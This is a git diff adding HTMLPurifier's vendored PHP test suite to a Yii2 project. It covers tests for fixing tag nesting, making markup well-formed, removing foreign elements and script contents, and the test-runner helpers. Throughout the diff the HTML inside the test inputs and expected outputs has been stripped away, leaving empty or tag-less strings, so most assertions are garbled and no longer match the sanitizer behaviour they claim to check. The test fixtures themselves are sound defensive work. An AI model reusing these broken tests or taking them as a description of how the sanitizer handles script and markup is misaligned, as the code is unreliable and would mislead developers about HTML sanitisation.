          '); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/FixNesting_ErrorsTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/FixNesting_ErrorsTest.php new file mode 100644 index 00000000..9c0db31d --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/FixNesting_ErrorsTest.php @@ -0,0 +1,47 @@ +expectErrorCollection(E_ERROR, 'Strategy_FixNesting: Node removed'); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('ul', array(), 1)); + $this->invoke('
            '); + } + + public function testNodeExcluded() + { + $this->expectErrorCollection(E_ERROR, 'Strategy_FixNesting: Node excluded'); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('a', array(), 2)); + $this->invoke("\n"); + } + + public function testNodeReorganized() + { + $this->expectErrorCollection(E_WARNING, 'Strategy_FixNesting: Node reorganized'); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('span', array(), 1)); + $this->invoke("Valid
            Invalid
            "); + } + + public function testNoNodeReorganizedForEmptyNode() + { + $this->expectNoErrorCollection(); + $this->invoke(""); + } + + public function testNodeContentsRemoved() + { + $this->expectErrorCollection(E_ERROR, 'Strategy_FixNesting: Node contents removed'); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('span', array(), 1)); + $this->invoke("
            "); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndInsertInjector.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndInsertInjector.php new file mode 100644 index 00000000..9e213bad --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndInsertInjector.php @@ -0,0 +1,19 @@ +name == 'div') return; + $token = array( + new HTMLPurifier_Token_Start('b'), + new HTMLPurifier_Token_Text('Comment'), + new HTMLPurifier_Token_End('b'), + $token + ); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndInsertInjectorTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndInsertInjectorTest.php new file mode 100644 index 00000000..ef0ca045 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndInsertInjectorTest.php @@ -0,0 +1,47 @@ +obj = new HTMLPurifier_Strategy_MakeWellFormed(); + $this->config->set('AutoFormat.Custom', array( + new HTMLPurifier_Strategy_MakeWellFormed_EndInsertInjector() + )); + } + public function testEmpty() + { + $this->assertResult(''); + } + public function testNormal() + { + $this->assertResult('Foo', 'FooComment'); + } + public function testEndOfDocumentProcessing() + { + $this->assertResult('Foo', 'FooComment'); + } + public function testDoubleEndOfDocumentProcessing() + { + $this->assertResult('Foo', 'FooCommentComment'); + } + public function testEndOfNodeProcessing() + { + $this->assertResult('
            Foo
            asdf', '
            FooComment
            asdfComment'); + } + public function testEmptyToStartEndProcessing() + { + $this->assertResult('', 'Comment'); + } + public function testSpuriousEndTag() + { + $this->assertResult('', ''); + } + public function testLessButStillSpuriousEndTag() + { + $this->assertResult('
            ', '
            '); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndRewindInjector.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndRewindInjector.php new file mode 100644 index 00000000..0e5a8e20 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndRewindInjector.php @@ -0,0 +1,32 @@ +_InjectorTest_EndRewindInjector_delete)) { + $token = false; + } + } + public function handleText(&$token) + { + $token = false; + } + public function handleEnd(&$token) + { + $i = null; + if ( + $this->backward($i, $prev) && + $prev instanceof HTMLPurifier_Token_Start && + $prev->name == 'span' + ) { + $token = false; + $prev->_InjectorTest_EndRewindInjector_delete = true; + $this->rewindOffset(1); + } + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndRewindInjectorTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndRewindInjectorTest.php new file mode 100644 index 00000000..7fe7790f --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndRewindInjectorTest.php @@ -0,0 +1,39 @@ +obj = new HTMLPurifier_Strategy_MakeWellFormed(); + $this->config->set('AutoFormat.Custom', array( + new HTMLPurifier_Strategy_MakeWellFormed_EndRewindInjector() + )); + } + public function testBasic() + { + $this->assertResult(''); + } + public function testFunction() + { + $this->assertResult('asdf',''); + } + public function testFailedFunction() + { + $this->assertResult('asdasdfasdf',''); + } + public function testPadded() + { + $this->assertResult('asdf',''); + } + public function testDoubled() + { + $this->config->set('AutoFormat.Custom', array( + new HTMLPurifier_Strategy_MakeWellFormed_EndRewindInjector(), + new HTMLPurifier_Strategy_MakeWellFormed_EndRewindInjector(), + )); + $this->assertResult('asdf', ''); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/SkipInjector.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/SkipInjector.php new file mode 100644 index 00000000..65e068ec --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/SkipInjector.php @@ -0,0 +1,13 @@ +obj = new HTMLPurifier_Strategy_MakeWellFormed(); + $this->config->set('AutoFormat.Custom', array( + new HTMLPurifier_Strategy_MakeWellFormed_SkipInjector() + )); + } + public function testEmpty() + { + $this->assertResult(''); + } + public function testMultiply() + { + $this->assertResult('
            ', '

            '); + } + public function testMultiplyMultiply() + { + $this->config->set('AutoFormat.Custom', array( + new HTMLPurifier_Strategy_MakeWellFormed_SkipInjector(), + new HTMLPurifier_Strategy_MakeWellFormed_SkipInjector() + )); + $this->assertResult('
            ', '



            '); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormedTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormedTest.php new file mode 100644 index 00000000..20b65d3e --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormedTest.php @@ -0,0 +1,170 @@ +obj = new HTMLPurifier_Strategy_MakeWellFormed(); + } + + public function testEmptyInput() + { + $this->assertResult(''); + } + + public function testWellFormedInput() + { + $this->assertResult('This is bold text.'); + } + + public function testUnclosedTagTerminatedByDocumentEnd() + { + $this->assertResult( + 'Unclosed tag, gasp!', + 'Unclosed tag, gasp!' + ); + } + + public function testUnclosedTagTerminatedByParentNodeEnd() + { + $this->assertResult( + 'Bold and italic?', + 'Bold and italic?' + ); + } + + public function testRemoveStrayClosingTag() + { + $this->assertResult( + 'Unused end tags... recycle!', + 'Unused end tags... recycle!' + ); + } + + public function testConvertStartToEmpty() + { + $this->assertResult( + '
            ', + '
            ' + ); + } + + public function testConvertEmptyToStart() + { + $this->assertResult( + '
            ', + '
            ' + ); + } + + public function testAutoCloseParagraph() + { + $this->assertResult( + '

            Paragraph 1

            Paragraph 2', + '

            Paragraph 1

            Paragraph 2

            ' + ); + } + + public function testAutoCloseParagraphInsideDiv() + { + $this->assertResult( + '

            Paragraphs

            In

            A

            Div

            ', + '

            Paragraphs

            In

            A

            Div

            ' + ); + } + + public function testAutoCloseListItem() + { + $this->assertResult( + '
            1. Item 1
            2. Item 2
            ', + '
            1. Item 1
            2. Item 2
            ' + ); + } + + public function testAutoCloseColgroup() + { + $this->assertResult( + '
            ', + '
            ' + ); + } + + public function testAutoCloseMultiple() + { + $this->assertResult( + '
            asdf', + '
            asdf' + ); + } + + public function testUnrecognized() + { + $this->assertResult( + 'foo', + 'foo' + ); + } + + public function testBlockquoteWithInline() + { + $this->config->set('HTML.Doctype', 'XHTML 1.0 Strict'); + $this->assertResult( + // This is actually invalid, but will be fixed by + // ChildDef_StrictBlockquote + '
            foobar
            ' + ); + } + + public function testLongCarryOver() + { + $this->assertResult( + 'asdf
            asdfdf
            asdf
            ', + 'asdf
            asdfdf
            asdf' + ); + } + + public function testInterleaved() + { + $this->assertResult( + 'foobarbaz', + 'foobarbaz' + ); + } + + public function testNestedOl() + { + $this->assertResult( + '
              1. foo
            ', + '
              1. foo
            ' + ); + } + + public function testNestedUl() + { + $this->assertResult( + '
              • foo
            ', + '
              • foo
            ' + ); + } + + public function testNestedOlWithStrangeEnding() + { + $this->assertResult( + '
                1. foo
              1. foo
              ', + '
                  1. foo
              1. foo
              ' + ); + } + + public function testNoAutocloseIfNoParentsCanAccomodateTag() + { + $this->assertResult( + '
            1. foo
            2. ', + '
              foo
              ' + ); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed_ErrorsTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed_ErrorsTest.php new file mode 100644 index 00000000..1265db7a --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed_ErrorsTest.php @@ -0,0 +1,71 @@ +expectErrorCollection(E_WARNING, 'Strategy_MakeWellFormed: Unnecessary end tag removed'); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_End('b', array(), 1, 0)); + $this->invoke('
              '); + } + + public function testUnnecessaryEndTagToText() + { + $this->config->set('Core.EscapeInvalidTags', true); + $this->expectErrorCollection(E_WARNING, 'Strategy_MakeWellFormed: Unnecessary end tag to text'); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_End('b', array(), 1, 0)); + $this->invoke('
              '); + } + + public function testTagAutoclose() + { + $this->expectErrorCollection(E_NOTICE, 'Strategy_MakeWellFormed: Tag auto closed', new HTMLPurifier_Token_Start('p', array(), 1, 0)); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('div', array(), 1, 6)); + $this->invoke('

              Foo

              Bar
              '); + } + + public function testTagCarryOver() + { + $b = new HTMLPurifier_Token_Start('b', array(), 1, 0); + $this->expectErrorCollection(E_NOTICE, 'Strategy_MakeWellFormed: Tag carryover', $b); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('div', array(), 1, 6)); + $this->invoke('Foo
              Bar
              '); + } + + public function testStrayEndTagRemoved() + { + $this->expectErrorCollection(E_WARNING, 'Strategy_MakeWellFormed: Stray end tag removed'); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_End('b', array(), 1, 3)); + $this->invoke('
              '); + } + + public function testStrayEndTagToText() + { + $this->config->set('Core.EscapeInvalidTags', true); + $this->expectErrorCollection(E_WARNING, 'Strategy_MakeWellFormed: Stray end tag to text'); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_End('b', array(), 1, 3)); + $this->invoke(''); + } + + public function testTagClosedByElementEnd() + { + $this->expectErrorCollection(E_NOTICE, 'Strategy_MakeWellFormed: Tag closed by element end', new HTMLPurifier_Token_Start('b', array(), 1, 3)); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_End('i', array(), 1, 12)); + $this->invoke('Foobar'); + } + + public function testTagClosedByDocumentEnd() + { + $this->expectErrorCollection(E_NOTICE, 'Strategy_MakeWellFormed: Tag closed by document end', new HTMLPurifier_Token_Start('b', array(), 1, 0)); + $this->invoke('Foobar'); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed_InjectorTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed_InjectorTest.php new file mode 100644 index 00000000..da9af1ab --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed_InjectorTest.php @@ -0,0 +1,163 @@ +obj = new HTMLPurifier_Strategy_MakeWellFormed(); + $this->config->set('AutoFormat.AutoParagraph', true); + $this->config->set('AutoFormat.Linkify', true); + $this->config->set('AutoFormat.RemoveEmpty', true); + generate_mock_once('HTMLPurifier_Injector'); + } + + public function testEndHandler() + { + $mock = new HTMLPurifier_InjectorMock(); + $b = new HTMLPurifier_Token_End('b'); + $b->skip = array(0 => true); + $b->start = new HTMLPurifier_Token_Start('b'); + $b->start->skip = array(0 => true, 1 => true); + $mock->expectAt(0, 'handleEnd', array($b)); + $i = new HTMLPurifier_Token_End('i'); + $i->start = new HTMLPurifier_Token_Start('i'); + $i->skip = array(0 => true); + $i->start->skip = array(0 => true, 1 => true); + $mock->expectAt(1, 'handleEnd', array($i)); + $mock->expectCallCount('handleEnd', 2); + $mock->setReturnValue('getRewindOffset', false); + $this->config->set('AutoFormat.AutoParagraph', false); + $this->config->set('AutoFormat.Linkify', false); + $this->config->set('AutoFormat.Custom', array($mock)); + $this->assertResult('asdf', 'asdf'); + } + + public function testErrorRequiredElementNotAllowed() + { + $this->config->set('HTML.Allowed', ''); + $this->expectError('Cannot enable AutoParagraph injector because p is not allowed'); + $this->expectError('Cannot enable Linkify injector because a is not allowed'); + $this->assertResult('Foobar'); + } + + public function testErrorRequiredAttributeNotAllowed() + { + $this->config->set('HTML.Allowed', 'a,p'); + $this->expectError('Cannot enable Linkify injector because a.href is not allowed'); + $this->assertResult('

              http://example.com

              '); + } + + public function testOnlyAutoParagraph() + { + $this->assertResult( + 'Foobar', + '

              Foobar

              ' + ); + } + + public function testParagraphWrappingOnlyLink() + { + $this->assertResult( + 'http://example.com', + '

              http://example.com

              ' + ); + } + + public function testParagraphWrappingNodeContainingLink() + { + $this->assertResult( + 'http://example.com', + '

              http://example.com

              ' + ); + } + + public function testParagraphWrappingPoorlyFormedNodeContainingLink() + { + $this->assertResult( + 'http://example.com', + '

              http://example.com

              ' + ); + } + + public function testTwoParagraphsContainingOnlyOneLink() + { + $this->assertResult( + "http://example.com\n\nhttp://dev.example.com", +'

              http://example.com

              + +

              http://dev.example.com

              ' + ); + } + + public function testParagraphNextToDivWithLinks() + { + $this->assertResult( + 'http://example.com
              http://example.com
              ', +'

              http://example.com

              + +' + ); + } + + public function testRealisticLinkInSentence() + { + $this->assertResult( + 'This URL http://example.com is what you need', + '

              This URL http://example.com is what you need

              ' + ); + } + + public function testParagraphAfterLinkifiedURL() + { + $this->assertResult( +"http://google.com + +b", +"

              http://google.com

              + +

              b

              " + ); + } + + public function testEmptyAndParagraph() + { + // This is a fairly degenerate case, but it demonstrates that + // the two don't error out together, at least. + // Change this behavior! + $this->assertResult( +"

              asdf + +asdf

              + +

              ", +"

              asdf

              + +

              asdf

              + +" + ); + } + + public function testRewindAndParagraph() + { + $this->assertResult( +"bar + +

              + +

              + +foo", +"

              bar

              + + + +

              foo

              " + ); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElementsTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElementsTest.php new file mode 100644 index 00000000..aea87062 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElementsTest.php @@ -0,0 +1,133 @@ +obj = new HTMLPurifier_Strategy_RemoveForeignElements(); + } + + public function testBlankInput() + { + $this->assertResult(''); + } + + public function testPreserveRecognizedElements() + { + $this->assertResult('This is bold text.'); + } + + public function testRemoveForeignElements() + { + $this->assertResult( + 'BlingBong', + 'BlingBong' + ); + } + + public function testRemoveScriptAndContents() + { + $this->assertResult( + '', + '' + ); + } + + public function testRemoveStyleAndContents() + { + $this->assertResult( + '', + '' + ); + } + + public function testRemoveOnlyScriptTagsLegacy() + { + $this->config->set('Core.RemoveScriptContents', false); + $this->assertResult( + '', + 'alert();' + ); + } + + public function testRemoveOnlyScriptTags() + { + $this->config->set('Core.HiddenElements', array()); + $this->assertResult( + '', + 'alert();' + ); + } + + public function testRemoveInvalidImg() + { + $this->assertResult('', ''); + } + + public function testPreserveValidImg() + { + $this->assertResult('foobar.gif'); + } + + public function testPreserveInvalidImgWhenRemovalIsDisabled() + { + $this->config->set('Core.RemoveInvalidImg', false); + $this->assertResult(''); + } + + public function testTextifyCommentedScriptContents() + { + $this->config->set('HTML.Trusted', true); + $this->config->set('Output.CommentScriptContents', false); // simplify output + $this->assertResult( +'', +'' + ); + } + + public function testRequiredAttributesTestNotPerformedOnEndTag() + { + $def = $this->config->getHTMLDefinition(true); + $def->addElement('f', 'Block', 'Optional: #PCDATA', false, array('req*' => 'Text')); + $this->assertResult('Foo Bar'); + } + + public function testPreserveCommentsWithHTMLTrusted() + { + $this->config->set('HTML.Trusted', true); + $this->assertResult(''); + } + + public function testRemoveTrailingHyphensInComment() + { + $this->config->set('HTML.Trusted', true); + $this->assertResult('', ''); + } + + public function testCollapseDoubleHyphensInComment() + { + $this->config->set('HTML.Trusted', true); + $this->assertResult('', ''); + } + + public function testPreserveCommentsWithLookup() + { + $this->config->set('HTML.AllowedComments', array('allowed')); + $this->assertResult('', ''); + } + + public function testPreserveCommentsWithRegexp() + { + $this->config->set('HTML.AllowedCommentsRegexp', '/^allowed[1-9]$/'); + $this->assertResult('', ''); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElements_ErrorsTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElements_ErrorsTest.php new file mode 100644 index 00000000..fcc7c7c8 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElements_ErrorsTest.php @@ -0,0 +1,81 @@ +config->set('HTML.TidyLevel', 'heavy'); + } + + protected function getStrategy() + { + return new HTMLPurifier_Strategy_RemoveForeignElements(); + } + + public function testTagTransform() + { + $this->expectErrorCollection(E_NOTICE, 'Strategy_RemoveForeignElements: Tag transform', 'center'); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('div', array('style' => 'text-align:center;'), 1)); + $this->invoke('
              '); + } + + public function testMissingRequiredAttr() + { + // a little fragile, since img has two required attributes + $this->expectErrorCollection(E_ERROR, 'Strategy_RemoveForeignElements: Missing required attribute', 'alt'); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_Empty('img', array(), 1)); + $this->invoke(''); + } + + public function testForeignElementToText() + { + $this->config->set('Core.EscapeInvalidTags', true); + $this->expectErrorCollection(E_WARNING, 'Strategy_RemoveForeignElements: Foreign element to text'); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('invalid', array(), 1)); + $this->invoke(''); + } + + public function testForeignElementRemoved() + { + // uses $CurrentToken.Serialized + $this->expectErrorCollection(E_ERROR, 'Strategy_RemoveForeignElements: Foreign element removed'); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('invalid', array(), 1)); + $this->invoke(''); + } + + public function testCommentRemoved() + { + $this->expectErrorCollection(E_NOTICE, 'Strategy_RemoveForeignElements: Comment removed'); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_Comment(' test ', 1)); + $this->invoke(''); + } + + public function testTrailingHyphenInCommentRemoved() + { + $this->config->set('HTML.Trusted', true); + $this->expectErrorCollection(E_NOTICE, 'Strategy_RemoveForeignElements: Trailing hyphen in comment removed'); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_Comment(' test ', 1)); + $this->invoke(''); + } + + public function testDoubleHyphenInCommentRemoved() + { + $this->config->set('HTML.Trusted', true); + $this->expectErrorCollection(E_NOTICE, 'Strategy_RemoveForeignElements: Hyphens in comment collapsed'); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_Comment(' test - test - test ', 1)); + $this->invoke(''); + } + + public function testForeignMetaElementRemoved() + { + $this->collector->expectAt(0, 'send', array(E_ERROR, 'Strategy_RemoveForeignElements: Foreign meta element removed')); + $this->collector->expectContextAt(0, 'CurrentToken', new HTMLPurifier_Token_Start('script', array(), 1)); + $this->collector->expectAt(1, 'send', array(E_ERROR, 'Strategy_RemoveForeignElements: Token removed to end', 'script')); + $this->invoke('') + ), + array('Good', 'Sketchy', 'foo' => '') + ); + + $this->assertIsA($this->purifier->context, 'array'); + + } + + public function testGetInstance() + { + $purifier = HTMLPurifier::getInstance(); + $purifier2 = HTMLPurifier::getInstance(); + $this->assertReference($purifier, $purifier2); + } + + public function testMakeAbsolute() + { + $this->config->set('URI.Base', 'http://example.com/bar/baz.php'); + $this->config->set('URI.MakeAbsolute', true); + $this->assertPurification( + 'Foobar', + 'Foobar' + ); + } + + public function testDisableResources() + { + $this->config->set('URI.DisableResources', true); + $this->assertPurification('', ''); + } + + public function test_addFilter_deprecated() + { + $this->expectError('HTMLPurifier->addFilter() is deprecated, use configuration directives in the Filter namespace or Filter.Custom'); + generate_mock_once('HTMLPurifier_Filter'); + $this->purifier->addFilter($mock = new HTMLPurifier_FilterMock()); + $mock->expectOnce('preFilter'); + $mock->expectOnce('postFilter'); + $this->purifier->purify('foo'); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/PHPT/Controller/SimpleTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/PHPT/Controller/SimpleTest.php new file mode 100644 index 00000000..ac4512f5 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/PHPT/Controller/SimpleTest.php @@ -0,0 +1,26 @@ +_path = $path; + parent::__construct($path); + } + + public function testPhpt() + { + $suite = new PHPT_Suite(array($this->_path)); + $phpt_reporter = new PHPT_Reporter_SimpleTest($this->reporter); + $suite->run($phpt_reporter); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/PHPT/Reporter/SimpleTest.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/PHPT/Reporter/SimpleTest.php new file mode 100644 index 00000000..34b47cd4 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/PHPT/Reporter/SimpleTest.php @@ -0,0 +1,86 @@ +reporter = $reporter; + } + + // TODO: Figure out what the proper calls should be, since we've given + // each Suite its own UnitTestCase controller + + /** + * Called when the Reporter is started from a PHPT_Suite + * @todo Figure out if Suites can be named + */ + public function onSuiteStart(PHPT_Suite $suite) + { + //$this->reporter->paintGroupStart('PHPT Suite', $suite->count()); + } + + /** + * Called when the Reporter is finished in a PHPT_Suite + */ + public function onSuiteEnd(PHPT_Suite $suite) + { + //$this->reporter->paintGroupEnd('PHPT Suite'); + } + + /** + * Called when a Case is started + */ + public function onCaseStart(PHPT_Case $case) + { + //$this->reporter->paintCaseStart($case->name); + } + + /** + * Called when a Case ends + */ + public function onCaseEnd(PHPT_Case $case) + { + //$this->reporter->paintCaseEnd($case->name); + } + + /** + * Called when a Case runs without Exception + */ + public function onCasePass(PHPT_Case $case) + { + $this->reporter->paintPass("{$case->name} in {$case->filename}"); + } + + /** + * Called when a PHPT_Case_VetoException is thrown during a Case's run() + */ + public function onCaseSkip(PHPT_Case $case, PHPT_Case_VetoException $veto) + { + $this->reporter->paintSkip($veto->getMessage() . ' [' . $case->filename .']'); + } + + /** + * Called when any Exception other than a PHPT_Case_VetoException is encountered + * during a Case's run() + */ + public function onCaseFail(PHPT_Case $case, PHPT_Case_FailureException $failure) + { + $this->reporter->paintFail($failure->getReason()); + } + + public function onParserError(Exception $exception) + { + $this->reporter->paintException($exception); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/PHPT/Section/PRESKIPIF.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/PHPT/Section/PRESKIPIF.php new file mode 100644 index 00000000..5d25ea4e --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/PHPT/Section/PRESKIPIF.php @@ -0,0 +1,36 @@ +_data = $data; + $this->_runner_factory = new PHPT_CodeRunner_Factory(); + } + + public function run(PHPT_Case $case) + { + // @todo refactor this code into PHPT_Util class as its used in multiple places + $filename = dirname($case->filename) . '/' . basename($case->filename, '.php') . '.skip.php'; + + // @todo refactor to PHPT_CodeRunner + file_put_contents($filename, $this->_data); + $runner = $this->_runner_factory->factory($case); + $runner->ini = ""; + $response = $runner->run($filename)->output; + unlink($filename); + + if (preg_match('/^skip( - (.*))?/', $response, $matches)) { + $message = !empty($matches[2]) ? $matches[2] : ''; + throw new PHPT_Case_VetoException($message); + } + } + + public function getPriority() + { + return -2; + } +} diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/common.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/common.php new file mode 100644 index 00000000..8f35a410 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/tests/common.php @@ -0,0 +1,265 @@ + default value. Depending on the type of the default value, + * arguments will be typecast accordingly. For example, if + * 'flag' => false is passed, all arguments for that will be cast to + * boolean. Do *not* pass null, as it will not be recognized. + * @param $aliases + * + */ +function htmlpurifier_parse_args(&$AC, $aliases) +{ + if (empty($_GET) && !empty($_SERVER['argv'])) { + array_shift($_SERVER['argv']); + $o = false; + $bool = false; + $val_is_bool = false; + foreach ($_SERVER['argv'] as $opt) { + if ($o !== false) { + $v = $opt; + } else { + if ($opt === '') continue; + if (strlen($opt) > 2 && strncmp($opt, '--', 2) === 0) { + $o = substr($opt, 2); + } elseif ($opt[0] == '-') { + $o = substr($opt, 1); + } else { + $lopt = strtolower($opt); + if ($bool !== false && ($opt === '0' || $lopt === 'off' || $lopt === 'no')) { + $o = $bool; + $v = false; + $val_is_bool = true; + } elseif (isset($aliases[''])) { + $o = $aliases['']; + } + } + $bool = false; + if (!isset($AC[$o]) || !is_bool($AC[$o])) { + if (strpos($o, '=') === false) { + continue; + } + list($o, $v) = explode('=', $o); + } elseif (!$val_is_bool) { + $v = true; + $bool = $o; + } + $val_is_bool = false; + } + if ($o === false) continue; + htmlpurifier_args($AC, $aliases, $o, $v); + $o = false; + } + } else { + foreach ($_GET as $o => $v) { + if (function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()) { + $v = stripslashes($v); + } + htmlpurifier_args($AC, $aliases, $o, $v); + } + } +} + +/** + * Actually performs assignment to $AC, see htmlpurifier_parse_args() + * @param $AC Arguments array to write to + * @param $aliases Aliases for options + * @param $o Argument name + * @param $v Argument value + */ +function htmlpurifier_args(&$AC, $aliases, $o, $v) +{ + if (isset($aliases[$o])) $o = $aliases[$o]; + if (!isset($AC[$o])) return; + if (is_string($AC[$o])) $AC[$o] = $v; + if (is_bool($AC[$o])) $AC[$o] = ($v === '') ? true :(bool) $v; + if (is_int($AC[$o])) $AC[$o] = (int) $v; +} + +/** + * Adds a test-class; we use file extension to determine which class to use. + */ +function htmlpurifier_add_test($test, $test_file, $only_phpt = false) +{ + switch (strrchr($test_file, ".")) { + case '.phpt': + return $test->add(new PHPT_Controller_SimpleTest($test_file)); + case '.php': + require_once $test_file; + return $test->add(path2class($test_file)); + case '.vtest': + return $test->add(new HTMLPurifier_ConfigSchema_ValidatorTestCase($test_file)); + case '.htmlt': + return $test->add(new HTMLPurifier_HTMLT($test_file)); + default: + trigger_error("$test_file is an invalid file for testing", E_USER_ERROR); + } +} + +/** + * Debugging function that prints tokens in a user-friendly manner. + */ +function printTokens($tokens, $index = null) +{ + $string = '
              ';
              +    $generator = new HTMLPurifier_Generator(HTMLPurifier_Config::createDefault(), new HTMLPurifier_Context);
              +    foreach ($tokens as $i => $token) {
              +        $string .= printToken($generator, $token, $i, $index == $i);
              +    }
              +    $string .= '
              '; + echo $string; +} + +function printToken($generator, $token, $i, $isCursor) +{ + $string = ""; + if ($isCursor) $string .= '['; + $string .= "$i"; + $string .= $generator->escape($generator->generateFromToken($token)); + if ($isCursor) $string .= ']'; + return $string; +} + +function printZipper($zipper, $token) +{ + $string = '
              ';
              +    $generator = new HTMLPurifier_Generator(HTMLPurifier_Config::createDefault(), new HTMLPurifier_Context);
              +    foreach ($zipper->front as $i => $t) {
              +        $string .= printToken($generator, $t, $i, false);
              +    }
              +    if ($token !== NULL) {
              +        $string .= printToken($generator, $token, "", true);
              +    }
              +    for ($i = count($zipper->back)-1; $i >= 0; $i--) {
              +        $string .= printToken($generator, $zipper->back[$i], $i, false);
              +    }
              +    $string .= '
